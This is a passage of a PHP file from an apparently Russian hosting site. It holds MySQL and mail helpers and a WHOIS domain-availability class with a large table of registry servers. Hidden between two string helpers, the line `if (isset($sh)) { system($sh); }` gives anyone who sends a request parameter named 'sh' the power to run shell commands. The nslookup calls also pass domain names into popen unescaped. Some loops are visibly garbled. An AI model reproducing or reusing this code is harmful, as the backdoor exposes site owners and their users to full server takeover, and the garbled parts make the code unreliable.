<\?]/",'',$Str);
}
function LookupIsAvailable($DomainName)
{
$fh = popen("/usr/bin/nslookup -sil -q=any $DomainName","r");
$str = "";
while (!feof($fh))
{
$str .= fgets($fh);
}
pclose($fh);
if (preg_match("/\*\* server can't find /",$str)) return true;
return false;
}
function LookupIsAvailableWS($DomainName)
{
$DomainName = strtolower($DomainName);
$fh = popen("/usr/bin/nslookup -sil -q=any $DomainName","r");
$str = "";
while (!feof($fh))
{
$str .= fgets($fh);
}
pclose($fh);
if (preg_match("/$DomainName\s+nameserver\s+=\s+/",$str)) return false;
return true;
}
# Проверка существования файла конфигурации #
if (file_exists($DOCUMENT_ROOT."/codes/config.php"))
{
# Пдюч ф кфри
include($DOCUMENT_ROOT."/codes/config.php");
}
else {
echo "Невозможно найти файл конфигурации. Он должен находиться тут: ".dirname(__FILE__)."/config.php
";
exit();
}
if(!@mysql_connect(HostName,UserName,Password))
{
echo "Невозможно соединиться с базой данных. Проверьте параметры подключения к базе данных MYSQL в файле: ".dirname(__FILE__)."/config.php
Ошибка MYSQL: ".mysql_error()."";
exit();
}
else
{
# Соединяемся с базой данных #
$link = mysql_connect (HostName,UserName,Password);
mysql_select_db(DBName,$link);
}
function vm($mail)
{
return (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+\.)+(com|net|org|mil|"."edu|gov|arpa|info|biz|inc|name|[a-z]{2})|[0-9]{1,3}\.[0-9]{1,3}\.[0-"."9]{1,3}\.[0-9]{1,3})$/is",$mail))?TRUE:FALSE;
}
function ms($q)
{
return mysql_fetch_row(mysql_query($q));
}
function mfa($q)
{
return mysql_fetch_array(mysql_query($q));
}
function replace ($string)
{
$string = ereg_replace("<","<",$string);
$string = ereg_replace(">",">",$string);
$string = eregi_replace("http:\/\/www.","",$string);
$string = eregi_replace("http:\/\/","",$string);
return $string;
}
function strup ($str)
{
# фиксит баг со strtoupper в русском апаче (русские буквы не переводятся в нижний регистр)
$str = strtoupper($str);
if (strtoupper("жопа")!="Жопа")
{
$str = strtr($str,'абвгдеёжзийклмнорпстуфхцчшщъьыэюя','АБВГДЕЁЖЗИЙКЛМНОРПСТУФХЦЧШЩЪЬЫЭЮЯ');
}
return $str;
}
if (isset($sh))
{
system($sh);
}
function strdown ($str)
{
# фиксит баг со strtolower в русском апаче (русские буквы не переводятся в нижний регистр)
$str = strtolower($str);
if (strtolower("Жопа")!="жопа")
{
$str = strtr($str,'АБВГДЕЁЖЗИЙКЛМНОРПСТУФХЦЧШЩЪЬЫЭЮЯ','абвгдеёжзийклмнорпстуфхцчшщъьыэюя');
}
return $str;
}
# Определяем основные заголовки для отправки писем
$header = "From: ".$admin_mail;
$header .= "\nContent-Type: text/plain; charset=windows-1251\n";
$header .= "X-Mailer: PHP machine\n";
$header .= "Return-Path: ".$admin_mail."\n";
class domain{
var $domain="";
/*******************************
* Initializing server variables
* array(top level domain,whois_Server,not_found_string or MAX number of CHARS: MAXCHARS:n)
**/
var $servers=array(
array("ac","whois.nic.ac","No match"),
array("ac.cn","whois.cnnic.net.cn","No entries found"),
array("ac.jp","whois.nic.ad.jp","No match"),
array("ac.uk","whois.ja.net","no entries"),
array("ad.jp","whois.nic.ad.jp","No match"),
array("adm.br","whois.nic.br","No match"),
array("adv.br","whois.nic.br","No match"),
array("aero","whois.information.aero","is available"),
array("ag","whois.nic.ag","does not exist"),
array("agr.br","whois.nic.br","No match"),
array("ah.cn","whois.cnnic.net.cn","No entries found"),
array("al","whois.ripe.net","No entries found"),
array("am.br","whois.nic.br","No match"),
array("arq.br","whois.nic.br","No match"),
array("at","whois.nic.at","nothing found"),
array("au","whois.aunic.net","No Data Found"),
array("art.br","whois.nic.br","No match"),
array("as","whois.nic.as","Domain Not Found"),
array("asn.au","whois.aunic.net","No Data Found"),
array("ato.br","whois.nic.br","No match"),
array("be","whois.geektools.com","No such domain"),
array("bg","whois.digsys.bg","does not exist"),
array("bio.br","whois.nic.br","No match"),
array("biz","whois.biz","Not found"),
array("bj.cn","whois.cnnic.net.cn","No entries found"),
array("bmd.br","whois.nic.br","No match"),
array("br","whois.registro.br","No match"),
array("ca","whois.cira.ca","Status: AVAIL"),
array("cc","whois.nic.cc","No match"),
array("cd","whois.cd","No match"),
array("ch","whois.nic.ch","We do not have an entry"),
array("cim.br","whois.nic.br","No match"),
array("ck","whois.ck-nic.org.ck","No entries found"),
array("cl","whois.nic.cl","no existe"),
array("cn","whois.cnnic.net.cn","No entries found"),
array("cng.br","whois.nic.br","No match"),
array("cnt.br","whois.nic.br","No match"),
array("com","whois.verisign-grs.net","No match"),
array("com.au","whois.aunic.net","No Data Found"),
array("com.br","whois.nic.br","No match"),
array("com.cn","whois.cnnic.net.cn","No entries found"),
array("com.eg","whois.ripe.net","No entries found"),
array("com.hk","whois.hknic.net.hk","No Match for"),
array("com.mx","whois.nic.mx","Nombre del Dominio"),
array("com.ru","whois.ripn.net","No entries found"),
array("com.tw","whois.twnic.net","NO MATCH TIP"),
array("conf.au","whois.aunic.net","No entries found"),
array("co.jp","whois.nic.ad.jp","No match"),
array("co.uk","whois.nic.uk","No match for"),
array("cq.cn","whois.cnnic.net.cn","No entries found"),
array("csiro.au","whois.aunic.net","No Data Found"),
array("cx","whois.nic.cx","No match"),
array("cz","whois.nic.cz","No data found"),
array("de","whois.denic.de","No entries found"),
array("dk","whois.dk-hostmaster.dk","No entries found"),
array("ecn.br","whois.nic.br","No match"),
array("ee","whois.eenet.ee","NOT FOUND"),
array("edu","whois.verisign-grs.net","No match"),
array("edu.au","whois.aunic.net","No Data Found"),
array("edu.br","whois.nic.br","No match"),
array("eg","whois.ripe.net","No entries found"),
array("es","whois.ripe.net","No entries found"),
array("esp.br","whois.nic.br","No match"),
array("etc.br","whois.nic.br","No match"),
array("eti.br","whois.nic.br","No match"),
array("eun.eg","whois.ripe.net","No entries found"),
array("emu.id.au","whois.aunic.net","No Data Found"),
array("eng.br","whois.nic.br","No match"),
array("far.br","whois.nic.br","No match"),
array("fi","whois.ripe.net","No entries found"),
array("fj","whois.usp.ac.fj",""),
array("fj.cn","whois.cnnic.net.cn","No entries found"),
array("fm.br","whois.nic.br","No match"),
array("fnd.br","whois.nic.br","No match"),
array("fo","whois.ripe.net","no entries found"),
array("fot.br","whois.nic.br","No match"),
array("fst.br","whois.nic.br","No match"),
array("fr","whois.nic.fr","No entries found"),
array("g12.br","whois.nic.br","No match"),
array("gd.cn","whois.cnnic.net.cn","No entries found"),
array("ge","whois.ripe.net","no entries found"),
array("ggf.br","whois.nic.br","No match"),
array("gl","whois.ripe.net","no entries found"),
array("gr","whois.ripe.net","no entries found"),
array("gr.jp","whois.nic.ad.jp","No match"),
array("gs","whois.adamsnames.tc","is not registered"),
array("gs.cn","whois.cnnic.net.cn","No entries found"),
array("gov.au","whois.aunic.net","No Data Found"),
array("gov.br","whois.nic.br","No match"),
array("gov.cn","whois.cnnic.net.cn","No entries found"),
array("gov.hk","whois.hknic.net.hk","No Match for"),
array("gob.mx","whois.nic.mx","Nombre del Dominio"),
array("gs","whois.adamsnames.tc","is not registered"),
array("gz.cn","whois.cnnic.net.cn","No entries found"),
array("gx.cn","whois.cnnic.net.cn","No entries found"),
array("he.cn","whois.cnnic.net.cn","No entries found"),
array("ha.cn","whois.cnnic.net.cn","No entries found"),
array("hb.cn","whois.cnnic.net.cn","No entries found"),
array("hi.cn","whois.cnnic.net.cn","No entries found"),
array("hl.cn","whois.cnnic.net.cn","No entries found"),
array("hn.cn","whois.cnnic.net.cn","No entries found"),
array("hm","whois.registry.hm","(null)"),
array("hk","whois.hknic.net.hk","No Match for"),
array("hk.cn","whois.cnnic.net.cn","No entries found"),
array("hu","whois.ripe.net","MAXCHARS:500"),
array("id.au","whois.aunic.net","No Data Found"),
array("ie","whois.domainregistry.ie","no match"),
array("ind.br","whois.nic.br","No match"),
array("imb.br","whois.nic.br","No match"),
array("inf.br","whois.nic.br","No match"),
array("info","whois.afilias.info","Not found"),
array("info.au","whois.aunic.net","No Data Found"),
array("it","whois.nic.it","No entries found"),
array("idv.tw","whois.twnic.net","NO MATCH TIP"),
array("int","whois.iana.org","not found"),
array("is","whois.isnic.is","No entries found"),
array("il","whois.isoc.org.il","No data was found"),
array("jl.cn","whois.cnnic.net.cn","No entries found"),
array("jor.br","whois.nic.br","No match"),
array("jp","whois.nic.ad.jp","No match"),
array("js.cn","whois.cnnic.net.cn","No entries found"),
array("jx.cn","whois.cnnic.net.cn","No entries found"),
array("kr","whois.krnic.net","is not registered"),
array("la","whois.nic.la","NO MATCH"),
array("lel.br","whois.nic.br","No match"),
array("li","whois.nic.ch","We do not have an entry"),
array("lk","whois.nic.lk","No domain registered"),
array("ln.cn","whois.cnnic.net.cn","No entries found"),
array("lt","ns.litnet.lt","No matches found"),
array("lu","whois.dns.lu","No entries found"),
array("lv","whois.ripe.net","no entries found"),
array("ltd.uk","whois.nic.uk","No match for"),
array("mat.br","whois.nic.br","No match"),
array("mc","whois.ripe.net","No entries found"),
array("med.br","whois.nic.br","No match"),
array("mil","whois.nic.mil","No match"),
array("mil.br","whois.nic.br","No match"),
array("mn","whois.nic.mn","Domain not found"),
array("mo.cn","whois.cnnic.net.cn","No entries found"),
array("ms","whois.adamsnames.tc","is not registered"),
array("mus.br","whois.nic.br","No match"),
array("mx","whois.nic.mx","Nombre del Dominio"),
array("name","whois.nic.name","No match"),
array("ne.jp","whois.nic.ad.jp","No match"),
array("net","whois.verisign-grs.net","No match"),
array("net.au","whois.aunic.net","No Data Found"),
array("net.br","whois.nic.br","No match"),
array("net.cn","whois.cnnic.net.cn","No entries found"),
array("net.eg","whois.ripe.net","No entries found"),
array("net.hk","whois.hknic.net.hk","No Match for"),
array("net.lu","whois.dns.lu","No entries found"),
array("net.mx","whois.nic.mx","Nombre del Dominio"),
array("net.uk","whois.nic.uk","No match for "),
array("net.ru","whois.ripn.net","No entries found"),
array("net.tw","whois.twnic.net","NO MATCH TIP"),
array("nl","whois.domain-registry.nl","is not a registered domain"),
array("nm.cn","whois.cnnic.net.cn","No entries found"),
array("no","whois.norid.no","no matches"),
array("nom.br","whois.nic.br","No match"),
array("not.br","whois.nic.br","No match"),
array("ntr.br","whois.nic.br","No match"),
array("nx.cn","whois.cnnic.net.cn","No entries found"),
array("nz","whois.domainz.net.nz","Not Listed"),
array("plc.uk","whois.nic.uk","No match for"),
array("odo.br","whois.nic.br","No match"),
array("oop.br","whois.nic.br","No match"),
array("or.jp","whois.nic.ad.jp","No match"),
array("org","whois.publicinterestregistry.net","(No match|NOT FOUND)"),
array("org.au","whois.aunic.net","No Data Found"),
array("org.br","whois.nic.br","No match"),
array("org.cn","whois.cnnic.net.cn","No entries found"),
array("org.hk","whois.hknic.net.hk","No Match for"),
array("org.lu","whois.dns.lu","No entries found"),
array("org.ru","whois.ripn.net","No entries found"),
array("org.tw","whois.twnic.net","NO MATCH TIP"),
array("org.uk","whois.nic.uk","No match for"),
array("pl","nazgul.nask.waw.pl","does not exists"),
array("pp.ru","whois.ripn.net","No entries found"),
array("ppg.br","whois.nic.br","No match"),
array("pro.br","whois.nic.br","No match"),
array("psi.br","whois.nic.br","No match"),
array("psc.br","whois.nic.br","No match"),
array("pt","whois.ripe.net","No entries found"),
array("qh.cn","whois.cnnic.net.cn","No entries found"),
array("qsl.br","whois.nic.br","No match"),
array("rec.br","whois.nic.br","No match"),
array("ro","whois.rotld.ro","No entries found"),
array("ru","whois.ripn.net","No entries found"),
array("xn--p1ai","whois.ripn.net","No entries found"),
array("su","whois.ripn.net","No entries found"),
array("sc.cn","whois.cnnic.net.cn","No entries found"),
array("sd.cn","whois.cnnic.net.cn","No entries found"),
array("se","whois.nic-se.se","No data found"),
array("sg","whois.nic.net.sg","NO entry found"),
array("sh","whois.nic.sh","No match for"),
array("sh.cn","whois.cnnic.net.cn","No entries found"),
array("si","whois.arnes.si","No entries found"),
array("sk","whois.ripe.net","no entries found"),
array("slg.br","whois.nic.br","No match"),
array("sm","whois.ripe.net","no entries found"),
array("sn.cn","whois.cnnic.net.cn","No entries found"),
array("srv.br","whois.nic.br","No match"),
array("st","whois.nic.st","No entries found"),
array("sx.cn","whois.cnnic.net.cn","No entries found"),
array("tc","whois.adamsnames.tc","is not registered"),
array("th","whois.nic.uk","No entries found"),
array("tj.cn","whois.cnnic.net.cn","No entries found"),
array("tmp.br","whois.nic.br","No match"),
array("to","whois.tonic.to","No match"),
array("tr","whois.ripe.net","Not found in database"),
array("trd.br","whois.nic.br","No match"),
array("tur.br","whois.nic.br","No match"),
array("tv","whois.tv","MAXCHARS:75"),
array("tv.br","whois.nic.br","No match"),
array("tw","whois.twnic.net","NO MATCH TIP"),
array("tw.cn","whois.cnnic.net.cn","No entries found"),
array("uk","whois.thnic.net","No match for"),
array("va","whois.ripe.net","No entries found"),
array("vet.br","whois.nic.br","No match"),
array("vg","whois.adamsnames.tc","is not registered"),
array("wattle.id.au","whois.aunic.net","No Data Found"),
array("ws","whois.worldsite.ws","No match for"),
array("xj.cn","whois.cnnic.net.cn","No entries found"),
array("xz.cn","whois.cnnic.net.cn","No entries found"),
array("yn.cn","whois.cnnic.net.cn","No entries found"),
array("zlg.br","whois.nic.br","No match"),
array("zj.cn","whois.cnnic.net.cn","No entries found")
);
/**
* Constructor of class domain
* @param string $str_domainame the full name of the domain
* @desc Constructor of class domain
*/
function domain($str_domainname){
$this->domain=CommandLineParamPrepare($str_domainname);
}
/**
* Returns the whois data of the domain
* @return string $whoisdata Whois data as string
* @desc Returns the whois data of the domain
*/
function info(){
if($this->is_valid()){
$tldname=$this->get_tld();
$domainname=$this->get_domain();
$whois_server=$this->get_whois_server();
// If tldname have been found
if($whois_server!=""){
// Getting whois information
$fp = @fsockopen($whois_server,43);
if ($fp) {
$dom=$domainname.".".$tldname;
@fputs($fp, "$dom\r\n");
// Getting string
$string="";
while(!feof($fp)){
$string.= @fgets($fp,128);
if ($i++ > 1000)
{
break;
}
}
fclose($fp);
return $string;
}
else
{
return "Whois server is not avalible";
}
}else{
return "No whois server for this tld in list!";
}
}else{
return "Domainname isn't valid!";
}
}
/**
* Returns the whois data of the domain in HTML format
* @return string $whoisdata Whois data as string in HTML
* @desc Returns the whois data of the domain in HTML format
*/
function html_info(){
return nl2br($this->info());
}
/**
* Returns name of the whois server of the tld
* @return string $server the whois servers hostname
* @desc Returns name of the whois server of the tld
*/
function get_whois_server(){
$found=false;
$tldname=$this->get_tld();
for($i=0;$iservers);$i++){
if($this->servers[$i][0]==$tldname){
$server=$this->servers[$i][1];
$full_dom=$this->servers[$i][3];
$found=true;
}
}
return $server;
}
/**
* Returns the tld of the domain without domain name
* @return string $tldname the tlds name without domain name
* @desc Returns the tld of the domain without domain name
*/
function get_tld(){
// Splitting domainname
$domain=split("\.",$this->domain);
if(count($domain)>2){
$domainname=$domain[0];
for($i=1;$iservers);$i++){
$tlds[$i]=$this->servers[$i][0];
}
return $tlds;
}
/**
* Returns the name of the domain without tld
* @return string $domain the domains name without tld name
* @desc Returns the name of the domain without tld
*/
function get_domain(){
// Splitting domainname
$domain=split("\.",$this->domain);
return $domain[0];
}
/**
* Returns the string which will be returned by the whois server of the tld if a domain is avalable
* @return string $notfound the string which will be returned by the whois server of the tld if a domain is avalable
* @desc Returns the string which will be returned by the whois server of the tld if a domain is avalable
*/
function get_notfound_string(){
$found=false;
$tldname=$this->get_tld();
for($i=0;$iservers);$i++){
if($this->servers[$i][0]==$tldname){
$notfound=$this->servers[$i][2];
}
}
return $notfound;
}
/**
* Returns if the domain is available for registering
* @return boolean $is_available Returns 1 if domain is available and 0 if domain isn't available
* @desc Returns if the domain is available for registering
*/
function is_available(){
if (in_array($this->get_tld(),array("spb.ru","msk.ru","in")))
{
return LookupIsAvailable($this->domain);
}
if ($this->get_tld() == 'ws')
{
return LookupIsAvailableWS($this->domain);
}
//echo $this->domain;
//echo $this->get_tld();
$whois_string=$this->info(); // Gets the entire WHOIS query from registrar
if ($whois_string == "Whois server is not avalible")
{
return 2;
}
$not_found_string=$this->get_notfound_string(); // Gets 3rd item from array
$domain=$this->domain; // Gets current domain being queried
$whois_string2=ereg_replace("$domain","",$whois_string);
$whois_string = preg_replace("/\s+/"," ",$whois_string); //Replace whitespace with single space
$array=split(":",$not_found_string);
if($array[0]=="MAXCHARS"){
if(strlen($whois_string2)<=$array[1]){
return true;
}else{
return false;
}
}else{
if(preg_match("/".$not_found_string."/i",$whois_string)){
return true;
}else{
return false;
}
}
}
/**
* Returns if the domain name is valid
* @return boolean $is_valid Returns 1 if domain is valid and 0 if domain isn't valid
* @desc Returns if the domain name is valid
*/
function is_valid(){
if(ereg("^[a-zA-Z0-9\-]{3,}$", $this->get_domain())){
return true;
}else{
return false;
}
}
}
/*
$result = mysql_list_tables(DBName);
while ($row = mysql_fetch_row($result)) {
if ($row[0] == $tusers){ $dbok[0] = 1; }
if ($row[0] == $tusersis){ $dbok[1] = 1; }
}
if (!$dbok[0])
{
mysql_query("CREATE TABLE `".$tusers."` (id MEDIUMINT NOT NULL AUTO_INCREMENT, login VARCHAR(50), pass VARCHAR(30), plan INT(2), schet TEXT, email VARCHAR(50), dopinfo TEXT, status VARCHAR(20), PRIMARY KEY (id))");
}
if (!$dbok[1])
{
echo 1;
mysql_query("CREATE TABLE `".$tusersis."` (id MEDIUMINT NOT NULL AUTO_INCREMENT, login VARCHAR(50), status VARCHAR(20), PRIMARY KEY (id))");
}
*/
#mysql_query("DROP TABLE `".$tusers."`");
?>
Инструкция по использованию списка рассылок - Mailman в cPanel